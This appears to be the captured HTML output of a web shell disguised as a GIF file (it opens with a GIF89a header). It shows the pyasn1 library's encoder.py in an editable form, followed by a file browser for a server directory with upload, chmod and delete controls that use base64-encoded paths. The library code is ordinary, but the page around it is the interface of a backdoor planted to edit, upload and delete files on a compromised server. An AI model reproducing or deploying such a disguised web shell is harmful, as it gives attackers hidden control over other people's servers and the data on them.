GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>encoder.py<form method=post action="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3B5YXNuMS9jb2RlYy9uYXRpdmU%3D&f=ZW5jb2Rlci5weQ%3D%3D"><input name="f" value="encoder.py"><textarea name="t">#
# This file is part of pyasn1 software.
#
# Copyright (c) 2005-2019, Ilya Etingof &lt;etingof@gmail.com&gt;
# License: http://snmplabs.com/pyasn1/license.html
#
try:
    from collections import OrderedDict

except ImportError:
    OrderedDict = dict

from pyasn1 import debug
from pyasn1 import error
from pyasn1.type import base
from pyasn1.type import char
from pyasn1.type import tag
from pyasn1.type import univ
from pyasn1.type import useful

__all__ = ['encode']

LOG = debug.registerLoggee(__name__, flags=debug.DEBUG_ENCODER)


class AbstractItemEncoder(object):
    def encode(self, value, encodeFun, **options):
        raise error.PyAsn1Error('Not implemented')


class BooleanEncoder(AbstractItemEncoder):
    def encode(self, value, encodeFun, **options):
        return bool(value)


class IntegerEncoder(AbstractItemEncoder):
    def encode(self, value, encodeFun, **options):
        return int(value)


class BitStringEncoder(AbstractItemEncoder):
    def encode(self, value, encodeFun, **options):
        return str(value)


class OctetStringEncoder(AbstractItemEncoder):
    def encode(self, value, encodeFun, **options):
        return value.asOctets()


class TextStringEncoder(AbstractItemEncoder):
    def encode(self, value, encodeFun, **options):
        return str(value)


class NullEncoder(AbstractItemEncoder):
    def encode(self, value, encodeFun, **options):
        return None


class ObjectIdentifierEncoder(AbstractItemEncoder):
    def encode(self, value, encodeFun, **options):
        return str(value)


class RealEncoder(AbstractItemEncoder):
    def encode(self, value, encodeFun, **options):
        return float(value)


class SetEncoder(AbstractItemEncoder):
    protoDict = dict

    def encode(self, value, encodeFun, **options):
        inconsistency = value.isInconsistent
        if inconsistency:
            raise inconsistency

        namedTypes = value.componentType
        substrate = self.protoDict()

        for idx, (key, subValue) in enumerate(value.items()):
            if namedTypes and namedTypes[idx].isOptional and not value[idx].isValue:
                continue
            substrate[key] = encodeFun(subValue, **options)
        return substrate


class SequenceEncoder(SetEncoder):
    protoDict = OrderedDict


class SequenceOfEncoder(AbstractItemEncoder):
    def encode(self, value, encodeFun, **options):
        inconsistency = value.isInconsistent
        if inconsistency:
            raise inconsistency
        return [encodeFun(x, **options) for x in value]


class ChoiceEncoder(SequenceEncoder):
    pass


class AnyEncoder(AbstractItemEncoder):
    def encode(self, value, encodeFun, **options):
        return value.asOctets()


tagMap = {
    univ.Boolean.tagSet: BooleanEncoder(),
    univ.Integer.tagSet: IntegerEncoder(),
    univ.BitString.tagSet: BitStringEncoder(),
    univ.OctetString.tagSet: OctetStringEncoder(),
    univ.Null.tagSet: NullEncoder(),
    univ.ObjectIdentifier.tagSet: ObjectIdentifierEncoder(),
    univ.Enumerated.tagSet: IntegerEncoder(),
    univ.Real.tagSet: RealEncoder(),
    # Sequence &amp; Set have same tags as SequenceOf &amp; SetOf
    univ.SequenceOf.tagSet: SequenceOfEncoder(),
    univ.SetOf.tagSet: SequenceOfEncoder(),
    univ.Choice.tagSet: ChoiceEncoder(),
    # character string types
    char.UTF8String.tagSet: TextStringEncoder(),
    char.NumericString.tagSet: TextStringEncoder(),
    char.PrintableString.tagSet: TextStringEncoder(),
    char.TeletexString.tagSet: TextStringEncoder(),
    char.VideotexString.tagSet: TextStringEncoder(),
    char.IA5String.tagSet: TextStringEncoder(),
    char.GraphicString.tagSet: TextStringEncoder(),
    char.VisibleString.tagSet: TextStringEncoder(),
    char.GeneralString.tagSet: TextStringEncoder(),
    char.UniversalString.tagSet: TextStringEncoder(),
    char.BMPString.tagSet: TextStringEncoder(),
    # useful types
    useful.ObjectDescriptor.tagSet: OctetStringEncoder(),
    useful.GeneralizedTime.tagSet: OctetStringEncoder(),
    useful.UTCTime.tagSet: OctetStringEncoder()
}


# Put in ambiguous &amp; non-ambiguous types for faster codec lookup
typeMap = {
    univ.Boolean.typeId: BooleanEncoder(),
    univ.Integer.typeId: IntegerEncoder(),
    univ.BitString.typeId: BitStringEncoder(),
    univ.OctetString.typeId: OctetStringEncoder(),
    univ.Null.typeId: NullEncoder(),
    univ.ObjectIdentifier.typeId: ObjectIdentifierEncoder(),
    univ.Enumerated.typeId: IntegerEncoder(),
    univ.Real.typeId: RealEncoder(),
    # Sequence &amp; Set have same tags as SequenceOf &amp; SetOf
    univ.Set.typeId: SetEncoder(),
    univ.SetOf.typeId: SequenceOfEncoder(),
    univ.Sequence.typeId: SequenceEncoder(),
    univ.SequenceOf.typeId: SequenceOfEncoder(),
    univ.Choice.typeId: ChoiceEncoder(),
    univ.Any.typeId: AnyEncoder(),
    # character string types
    char.UTF8String.typeId: OctetStringEncoder(),
    char.NumericString.typeId: OctetStringEncoder(),
    char.PrintableString.typeId: OctetStringEncoder(),
    char.TeletexString.typeId: OctetStringEncoder(),
    char.VideotexString.typeId: OctetStringEncoder(),
    char.IA5String.typeId: OctetStringEncoder(),
    char.GraphicString.typeId: OctetStringEncoder(),
    char.VisibleString.typeId: OctetStringEncoder(),
    char.GeneralString.typeId: OctetStringEncoder(),
    char.UniversalString.typeId: OctetStringEncoder(),
    char.BMPString.typeId: OctetStringEncoder(),
    # useful types
    useful.ObjectDescriptor.typeId: OctetStringEncoder(),
    useful.GeneralizedTime.typeId: OctetStringEncoder(),
    useful.UTCTime.typeId: OctetStringEncoder()
}


class Encoder(object):

    # noinspection PyDefaultArgument
    def __init__(self, tagMap, typeMap={}):
        self.__tagMap = tagMap
        self.__typeMap = typeMap

    def __call__(self, value, **options):
        if not isinstance(value, base.Asn1Item):
            raise error.PyAsn1Error('value is not valid (should be an instance of an ASN.1 Item)')

        if LOG:
            debug.scope.push(type(value).__name__)
            LOG('encoder called for type %s &lt;%s&gt;' % (type(value).__name__, value.prettyPrint()))

        tagSet = value.tagSet

        try:
            concreteEncoder = self.__typeMap[value.typeId]

        except KeyError:
            # use base type for codec lookup to recover untagged types
            baseTagSet = tag.TagSet(value.tagSet.baseTag, value.tagSet.baseTag)

            try:
                concreteEncoder = self.__tagMap[baseTagSet]

            except KeyError:
                raise error.PyAsn1Error('No encoder for %s' % (value,))

        if LOG:
            LOG('using value codec %s chosen by %s' % (concreteEncoder.__class__.__name__, tagSet))

        pyObject = concreteEncoder.encode(value, self, **options)

        if LOG:
            LOG('encoder %s produced: %s' % (type(concreteEncoder).__name__, repr(pyObject)))
            debug.scope.pop()

        return pyObject


#: Turns ASN.1 object into a Python built-in type object(s).
#:
#: Takes any ASN.1 object (e.g. :py:class:`~pyasn1.type.base.PyAsn1Item` derivative)
#: walks all its components recursively and produces a Python built-in type or a tree
#: of those.
#:
#: One exception is that instead of :py:class:`dict`, the :py:class:`OrderedDict`
#: can be produced (whenever available) to preserve ordering of the components
#: in ASN.1 SEQUENCE.
#:
#: Parameters
#: ----------
#  asn1Value: any pyasn1 object (e.g. :py:class:`~pyasn1.type.base.PyAsn1Item` derivative)
#:     pyasn1 object to encode (or a tree of them)
#:
#: Returns
#: -------
#: : :py:class:`object`
#:     Python built-in type instance (or a tree of them)
#:
#: Raises
#: ------
#: ~pyasn1.error.PyAsn1Error
#:     On encoding errors
#:
#: Examples
#: --------
#: Encode ASN.1 value object into native Python types
#:
#: .. code-block:: pycon
#:
#:    &gt;&gt;&gt; seq = SequenceOf(componentType=Integer())
#:    &gt;&gt;&gt; seq.extend([1, 2, 3])
#:    &gt;&gt;&gt; encode(seq)
#:    [1, 2, 3]
#:
encode = Encoder(tagMap, typeMap)
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/lib/python3/dist-packages/pyasn1/codec/native<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3B5YXNuMS9jb2RlYy9uYXRpdmU="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3B5YXNuMS9jb2RlYy9uYXRpdmU=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3B5YXNuMS9jb2RlYw=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3B5YXNuMS9jb2RlYy9uYXRpdmU=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3B5YXNuMS9jb2RlYy9uYXRpdmU=&x=X19pbml0X18ucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3B5YXNuMS9jb2RlYy9uYXRpdmU=&f=X19pbml0X18ucHk="/>__init__.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3B5YXNuMS9jb2RlYy9uYXRpdmU=&f=X19pbml0X18ucHk=&c=`+btoa(c):0" value="0644"></td><td>59</td></tr><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3B5YXNuMS9jb2RlYy9uYXRpdmUvX19weWNhY2hlX18="/>__pycache__</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3B5YXNuMS9jb2RlYy9uYXRpdmU=&f=X19weWNhY2hlX18=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3B5YXNuMS9jb2RlYy9uYXRpdmU=&x=ZGVjb2Rlci5weQ==">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3B5YXNuMS9jb2RlYy9uYXRpdmU=&f=ZGVjb2Rlci5weQ=="/>decoder.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3B5YXNuMS9jb2RlYy9uYXRpdmU=&f=ZGVjb2Rlci5weQ==&c=`+btoa(c):0" value="0644"></td><td>7671</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3B5YXNuMS9jb2RlYy9uYXRpdmU=&x=ZW5jb2Rlci5weQ==">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3B5YXNuMS9jb2RlYy9uYXRpdmU=&f=ZW5jb2Rlci5weQ=="/>encoder.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3B5YXNuMS9jb2RlYy9uYXRpdmU=&f=ZW5jb2Rlci5weQ==&c=`+btoa(c):0" value="0644"></td><td>8002</td></tr></table>